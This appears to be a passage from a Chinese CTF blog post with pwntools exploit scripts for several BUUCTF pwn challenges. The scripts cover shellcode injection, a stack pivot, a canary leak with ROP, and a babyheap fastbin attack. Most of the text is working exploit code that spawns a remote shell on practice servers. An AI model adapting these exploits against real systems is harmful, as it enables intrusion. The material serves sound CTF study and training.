mov ebx,esp;    #将ebx设置为'/bin/sh\x00'的16进制 
mov eax,oxb;    #eax设置为0xb,调用execve
int 0x80;
''')
exp如下
from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
libc = ELF('CTF_tool/libc-2.23-x64.so')
#p = process('1')
p = remote('node4.buuoj.cn', 29679)
elf = ELF('1')

write_addr = 0x08048087
payload = b'a'*0x14 + p32(write_addr)
p.recv()
p.send(payload)

stack_addr = u32(p.recv(4))

shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')
#shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = b'a'*0x14 + p32(stack_addr + 0x14) + shellcode 
p.send(payload)
p.interactive()

gyctf_2020_borrowstack

栈迁移题目
0
但是从原来的buf地址写容易写到got表,需要用到 ret 命令提升栈的可写空间
from pwn import *
from struct import pack
context.log_level = 'debug'
context(os = 'linux', arch = 'amd64')
libc = ELF('CTF_tool/libc-2.23-x64.so')
#p = process('1')
p = remote('node4.buuoj.cn', 29272)
elf = ELF('1')

bank_addr = 0x601080
rdi = 0x400703
ret = 0x4004c9
leave = 0x400699

payload = b'a'*96 + p64(bank_addr) + p64(leave)
p.sendafter('Welcome to Stack bank,Tell me what you want\n', payload)

payload = p64(ret)*20 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])

p.sendafter('Done!You can check and use your borrow stack now!\n', payload)

puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
libcbase = puts_addr - libc.symbols['puts']
one_gadget = libcbase + 0x4526a

p.sendline(b'a'*104 + p64(one_gadget))
p.interactive()

others_babystack

做了好久,明明很简单的一道题
0
首先要泄露canary,canary在s下方,如果把s填满,因为没有截断 '\x00' ,那么就能接着泄露canary
1.要用 sendline 发送payload,不然根据泄露不了
2.canary的低字节是 \x00 ,只会泄露出七个字节,对齐的时候要向右对齐(小端序)
from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
libc = ELF('CTF_tool/libc-2.23-x64.so')
#p = process('1')
p = remote('node4.buuoj.cn', 28174)
elf = ELF('1')

rdi = 0x400a93
main_addr = 0x400908


payload = b'a'*132 + b'stop'
p.sendlineafter('>> ', '1')
p.sendline(payload)
p.sendlineafter('>> ', '2')
p.recvuntil('stop\n')

canary = u64(p.recv(7).rjust(8, b'\x00'))

payload = b'a'*0x88 + p64(canary) + b'a'*8 + p64(rdi) + p64(elf.got['puts']) 
payload += p64(elf.plt['puts']) + p64(main_addr)
p.sendlineafter('>> ', '1')
p.sendline(payload)
p.sendlineafter('>> ','3')

puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
one_gadget = puts_addr - libc.symbols['puts'] + 0x45216

payload = b'a'*0x88 + p64(canary) + b'a'*8 + p64(one_gadget)
p.sendlineafter('>> ', '1')
p.sendline(payload)
p.sendlineafter('>> ','3')
p.interactive()
其次,在while循环中,得break后程序才会执行 ret 出覆盖的shellcode

0ctf_2017_babyheap

 和之前一道题一模一样,题解见第一页wp
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25514)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def add(size):
    p.sendlineafter("Command:", '1')
    p.sendlineafter("Size:", str(size))

def edit(index, content):
    p.sendlineafter("Command:", '2')
    p.sendlineafter("Index:", str(index))
    p.sendlineafter("Size:", str(len(content)))
    p.sendafter("Content:", content)

def free(index):
    p.sendlineafter("Command:", '3')
    p.sendlineafter("Index:", str(index))

def dump(index):
    p.sendlineafter("Command:", '4')
    p.sendlineafter("Index:", str(index))

add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
edit(0, payload)

payload = p64(0)*3 + p64(0x21)
edit(3, payload)

add(0x10) # index1 -> chunk2
add(0x10) # index2 -> chunk4
payload = p64(0)*3 + p64(0x91)
edit(3, payload)
add(0x10)
free(4)

dump(2)
p.recv()
main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_0x58 - 0x3c4b78
print('libcbase => ',hex(libcbase))

add(0x60)
free(4)
payload = p64(libcbase + 0x3c4aed)
edit(2,payload)

add(0x60) # index5 -> 4
add(0x60) # index6 -> fake chunk

one_gadget = libcbase + 0x4526a
payload = b'a'*0x13 + p64(one_gadget)
edit(6, payload)

add(0x10)

p.interactive()
posted @ 2022-10-13 21:26  xshhc  阅读(501)  评论(0编辑  收藏  举报